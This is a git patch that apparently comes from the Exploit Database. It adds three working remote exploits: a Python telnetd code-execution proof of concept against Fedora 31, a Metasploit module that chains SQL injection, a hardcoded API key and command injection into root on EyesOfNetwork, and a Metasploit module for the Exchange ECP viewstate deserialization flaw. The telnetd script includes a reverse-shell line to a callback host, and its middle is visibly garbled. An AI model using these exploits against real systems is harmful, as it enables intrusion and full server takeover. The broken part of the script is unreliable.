From 7531fa6a21ccb2ac0eb7ef6a54676c026dbfc40f Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 6 Mar 2020 05:01:47 +0000 Subject: [PATCH] DB: 2020-03-06 3 changes to exploits/shellcodes Exchange Control Panel - Viewstate Deserialization (Metasploit) EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit) netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution --- exploits/linux/remote/48170.py | 406 ++++++++++++++++++++++++++++++ exploits/multiple/remote/48169.rb | 327 ++++++++++++++++++++++++ exploits/windows/remote/48168.rb | 180 +++++++++++++ files_exploits.csv | 3 + 4 files changed, 916 insertions(+) create mode 100755 exploits/linux/remote/48170.py create mode 100755 exploits/multiple/remote/48169.rb create mode 100755 exploits/windows/remote/48168.rb diff --git a/exploits/linux/remote/48170.py b/exploits/linux/remote/48170.py new file mode 100755 index 000000000..fe3df1813 --- /dev/null +++ b/exploits/linux/remote/48170.py @@ -0,0 +1,406 @@ +#!/usr/bin/env python3 +# +# BraveStarr +# ========== +# +# Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd. +# +# This is for demonstration purposes only. It has by no means been engineered +# to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot +# of other constraints are not validated. +# +# AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer +# +import argparse +import base64 +import fcntl +import gzip +import socket +import struct +import sys +import termios +import time + +class BraveStarr(object): + SE = 240 # 0xf0 + DM = 242 # 0xf2 + AO = 245 # 0xf5 + SB = 250 # 0xfa + WILL = 251 # 0xfb + WONT = 252 # 0xfc + DO = 253 # 0xfd + IAC = 255 # 0xff + + TELOPT_STATUS = 5 + TELOPT_TTYPE = 24 + TELOPT_NAWS = 31 + TELOPT_TSPEED = 32 + TELOPT_XDISPLOC = 35 + TELOPT_ENVIRON = 39 + + TELQUAL_IS = 0 + TELQUAL_SEND = 1 + TELQUAL_INFO = 2 + + NETIBUF_SIZE = 8192 + NETOBUF_SIZE = 8192 + + # Data segment offsets of interesting variables relative to `netibuf'. + netibuf_deltas = { + 'loginprg': -34952, + 'state_rcsid': -34880, + 'subpointer': -34816, + 'ptyslavefd': -34488, + 'environ': -33408, + 'state': -33268, + 'LastArgv': -26816, + 'Argv': -26808, + 'remote_host_name': -26752, + 'pbackp': -9232, + 'nbackp': 8192 + } + + def __init__(self, host, port=23, timeout=5, callback_host=None): + self.host = host + self.port = port + self.sd = None + self.timeout = timeout + + self.leak_marker = b"MARKER|MARKER" + self.addresses = {} + self.values = {} + + if callback_host is not None: + self.chost = bytes(callback_host, 'ascii') + + def fatal(self, msg): + print(msg, file=sys.stderr) + sys.exit(1) + + def connect(self): + self.sd = socket.create_connection((self.host, self.port)) + + # Try to ensure the remote side will read a full 8191 bytes for + # `netobuf_fill' to work properly. + self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191) + + def address_delta(self, name1, name2): + return self.addresses[name1] - self.addresses[name2] + + def address_serialize(self, name): + return struct.pack("& /dev/tcp/%s/12345 0>&1" % t.chost) + + print("\n\u26e4 Waiting for connect back shell") + if args.method == 'shell': + import telnetlib + + tclient = telnetlib.Telnet() + tclient.sock = sd.accept()[0] + tclient.interact() + sd.close() +elif args.method == 'command': + print(f'\n\u26e4 Executing command "{args.command}"') + t.exploit(bytes(args.command, 'ascii')) \ No newline at end of file diff --git a/exploits/multiple/remote/48169.rb b/exploits/multiple/remote/48169.rb new file mode 100755 index 000000000..b98093f2d --- /dev/null +++ b/exploits/multiple/remote/48169.rb @@ -0,0 +1,327 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution', + 'Description' => %q{ + This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 + and prior in order to execute arbitrary commands as root. + + This module takes advantage of a command injection vulnerability in the + `target` parameter of the AutoDiscovery functionality within the EON web + interface in order to write an Nmap NSE script containing the payload to + disk. It then starts an Nmap scan to activate the payload. This results in + privilege escalation because the`apache` user can execute Nmap as root. + + Valid credentials for a user with administrative privileges are required. + However, this module can bypass authentication via two methods, i.e. by + generating an API access token based on a hardcoded key, and via SQLI. + This module has been successfully tested on EyesOfNetwork 5.3 with API + version 2.4.2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Clément Billac', # @h4knet - Discovery and exploit + 'bcoles', # Metasploit + 'Erik Wynter' # @wyntererik - Metasploit + ], + 'References' => + [ + ['CVE', '2020-8654'], # authenticated rce + ['CVE', '2020-8655'], # nmap privesc + ['CVE', '2020-8656'], # sqli auth bypass + ['CVE', '2020-8657'], # hardcoded API key + ['EDB', '48025'] + ], + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD, + 'Targets' => [['Auto', { }]], + 'Privileged' => true, + 'DisclosureDate' => '2020-02-06', + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true, #HTTPS is required for the module to work + 'PAYLOAD' => 'generic/shell_reverse_tcp' + }, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']), + OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']), + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]) + ] + end + + def nmap_path + '/usr/bin/nmap' + end + + def server_addr + datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR'] + end + + def check + vprint_status("Running check") + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey') + + unless res + return CheckCode::Unknown('Connection failed') + end + + unless res.code == 401 && res.body.include?('api_version') + return CheckCode::Safe('Target is not an EyesOfNetwork application.') + end + + version = res.get_json_document()['api_version'] rescue '' + + if version.to_s.eql? '' + return CheckCode::Detected('Could not determine EyesOfNetwork version.') + end + + version = Gem::Version.new version + + unless version <= Gem::Version.new('2.4.2') + return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.") + end + + CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.") + end + + def generate_api_key + default_key = "€On@piK3Y" + default_user_id = 1 + key = Digest::MD5.hexdigest(default_key + default_user_id.to_s) + Digest::SHA256.hexdigest(key + server_addr) + end + + def sqli_to_api_key + # Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash + fake_pass = Rex::Text::rand_text_alpha(10) + fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}") + user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '" + api_res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"), + 'method' => 'GET', + 'vars_get' => { + 'username' => user_sqli, + 'password' => fake_pass + } + }) + + unless api_res + print_error('Connection failed.') + return + end + + unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY') + print_error("SQL injection to obtain API key failed") + return + end + + api_res.get_json_document()['EONAPI_KEY'] + end + + def create_eon_user(user, password) + vprint_status("Creating user #{user} ...") + + vars_post = { + user_name: user, + user_group: "admins", + user_password: password + } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'), + 'ctype' => 'application/json', + 'vars_get' => { + 'apiKey' => @api_key, + 'username' => @api_user + }, + 'data' => vars_post.to_json + }) + + unless res + print_warning("Failed to create user: Connection failed.") + return + end + + return res + end + + def verify_api_key(res) + return false unless res.code == 200 + + json_data = res.get_json_document + json_res = json_data['result'] + return false unless json_res && json_res['description'] + json_res = json_res['description'] + + return true if json_res && json_res.include?('SUCCESS') + + return false + end + + def delete_eon_user(user) + vprint_status "Removing user #{user} ..." + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'), + 'ctype' => 'application/json', + 'data' => { user_name: user }.to_json, + 'vars_get' => { apiKey: @api_key, username: @api_user } + }) + + unless res + print_warning 'Removing user #{user} failed: Connection failed' + return + end + + res + end + + def login(user, pass) + vprint_status "Authenticating as #{user} ..." + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login.php'), + 'vars_post' => { + login: user, + mdp: pass + } + }) + + unless res + fail_with Failure::Unreachable, 'Connection failed' + end + + unless res.code == 200 && res.body.include?('dashboard_view') + fail_with Failure::NoAccess, 'Authentication failed' + end + + print_good "Authenticated as user #{user}" + + @cookie = res.get_cookies + + if @cookie.empty? + fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies' + end + + res + end + + def create_autodiscovery_job(cmd) + vprint_status "Creating AutoDiscovery job: #{cmd}" + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), + 'cookie' => @cookie, + 'vars_post' => { + 'request' => 'autodiscover', + 'job_name' => 'Internal discovery', + 'job_description' => 'Internal EON discovery procedure.', + 'nmap_binary' => nmap_path, + 'default_template' => '', + 'target[]' => cmd + } + }) + + unless res + fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed' + end + + unless res.body.include? 'Starting...' + fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start' + end + + res + end + + def delete_autodiscovery_job(job_id) + vprint_status "Removing AutoDiscovery job #{job_id} ..." + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), + 'cookie' => @cookie, + 'vars_get' => { + id: job_id, + delete: 1 + } + }) + + unless res + print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed" + return + end + res + end + + def execute_command(cmd, opts = {}) + res = create_autodiscovery_job ";#{cmd} #" + return unless res + + job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first + + if job_id.empty? + print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.' + return + end + delete_autodiscovery_job job_id + end + + def cleanup + super + if @username + delete_eon_user @username + end + end + + def exploit + unless [CheckCode::Detected, CheckCode::Appears].include? check + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + @api_user = 'admin' + @api_key = generate_api_key + print_status "Using generated API key: #{@api_key}" + + @username = rand_text_alphanumeric(8..12) + @password = rand_text_alphanumeric(8..12) + + create_res = create_eon_user @username, @password + unless verify_api_key(create_res) + @api_key = sqli_to_api_key + fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key + print_status("Using API key obtained via SQL injection: #{@api_key}") + sqli_verify = create_eon_user @username, @password + fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify) + end + + admin_group_id = 1 + login @username, @password + unless @cookie.include? 'group_id=' + @cookie << "; group_id=#{admin_group_id}" + end + + nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end") + nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}" + cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}" + print_status "Sending payload (#{cmd.length} bytes) ..." + execute_command cmd + end +end \ No newline at end of file diff --git a/exploits/windows/remote/48168.rb b/exploits/windows/remote/48168.rb new file mode 100755 index 000000000..30a4cb080 --- /dev/null +++ b/exploits/windows/remote/48168.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'bindata' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + # include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' + VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf" + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exchange Control Panel Viewstate Deserialization', + 'Description' => %q{ + This module exploits a .NET serialization vulnerability in the + Exchange Control Panel (ECP) web page. The vulnerability is due to + Microsoft Exchange Server not randomizing the keys on a + per-installation basis resulting in them using the same validationKey + and decryptionKey values. With knowledge of these, values an attacker + can craft a special viewstate to cause an OS command to be executed + by NT_AUTHORITY\SYSTEM using .NET deserialization. + }, + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2020-0688'], + ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], + [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], + [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 1, + 'DisclosureDate' => '2020-02-11', + 'Notes' => + { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], + 'Reliability' => [ REPEATABLE_SESSION, ], + } + )) + + register_options([ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), + OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) + ]) + + register_advanced_options([ + OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), + ]) + end + + def check + state = get_request_setup + viewstate = state[:viewstate] + return CheckCode::Unknown if viewstate.nil? + + viewstate = Rex::Text.decode_base64(viewstate) + body = viewstate[0...-20] + signature = viewstate[-20..-1] + + unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature + return CheckCode::Safe + end + + # we've validated the signature matches based on the data we have and thus + # proven that we are capable of signing a viewstate ourselves + CheckCode::Vulnerable + end + + def generate_viewstate(generator, session_id, cmd) + viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) + signature = generate_viewstate_signature(generator, session_id, viewstate) + Rex::Text.encode_base64(viewstate + signature) + end + + def generate_viewstate_signature(generator, session_id, viewstate) + mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') + mac_key_bytes << Rex::Text.to_unicode(session_id) + OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) + end + + def exploit + state = get_request_setup + + # the major limit is the max length of a GET request, the command will be + # XML escaped and then base64 encoded which both increase the size + if target.arch.first == ARCH_CMD + execute_command(payload.encoded, opts={state: state}) + else + cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first + execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) + end + end + + def execute_command(cmd, opts) + state = opts[:state] + viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) + 5.times do |iteration| + # this request *must* be a GET request, can't use POST to use a larger viewstate + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), + 'cookie' => state[:cookies].join(''), + 'agent' => state[:user_agent], + 'vars_get' => { + '__VIEWSTATE' => viewstate, + '__VIEWSTATEGENERATOR' => state[:viewstate_generator] + } + }) + break + rescue Rex::ConnectionError, Errno::ECONNRESET => e + vprint_warning('Encountered a connection error while sending the command, sleeping before retrying') + sleep iteration + end + end + + def get_request_setup + # need to use a newer default user-agent than what Metasploit currently provides + # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), + 'method' => 'POST', + 'agent' => user_agent, + 'vars_post' => { + 'password' => datastore['PASSWORD'], + 'flags' => '4', + 'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), + 'username' => datastore['USERNAME'] + } + }) + fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? + cookies = [res.get_cookies] + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), + 'cookie' => res.get_cookies, + 'agent' => user_agent + }) + fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 + cookies << res.get_cookies + + viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0] + if viewstate_generator.nil? + print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}") + viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR + else + vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}") + end + + viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0] + if viewstate.nil? + vprint_warning('Failed to find the __VIEWSTATE value') + end + + session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] + if session_id.nil? + fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') + end + vprint_status("Recovered the ASP.NET_SessionID: #{session_id}") + + {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 4904981d8..9b80d483b 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -18022,6 +18022,9 @@ id,file,description,date,author,type,platform,port 48140,exploits/openbsd/remote/48140.c,"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution",2020-02-26,"Qualys Corporation",remote,openbsd, 48153,exploits/windows/remote/48153.py,"Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution",2020-03-02,Photubias,remote,windows, 48156,exploits/windows/remote/48156.c,"CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow",2020-03-02,wetw0rk,remote,windows, +48168,exploits/windows/remote/48168.rb,"Exchange Control Panel - Viewstate Deserialization (Metasploit)",2020-03-05,Metasploit,remote,windows,443 +48169,exploits/multiple/remote/48169.rb,"EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)",2020-03-05,Metasploit,remote,multiple, +48170,exploits/linux/remote/48170.py,"netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution",2020-03-02,Immunity,remote,linux, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,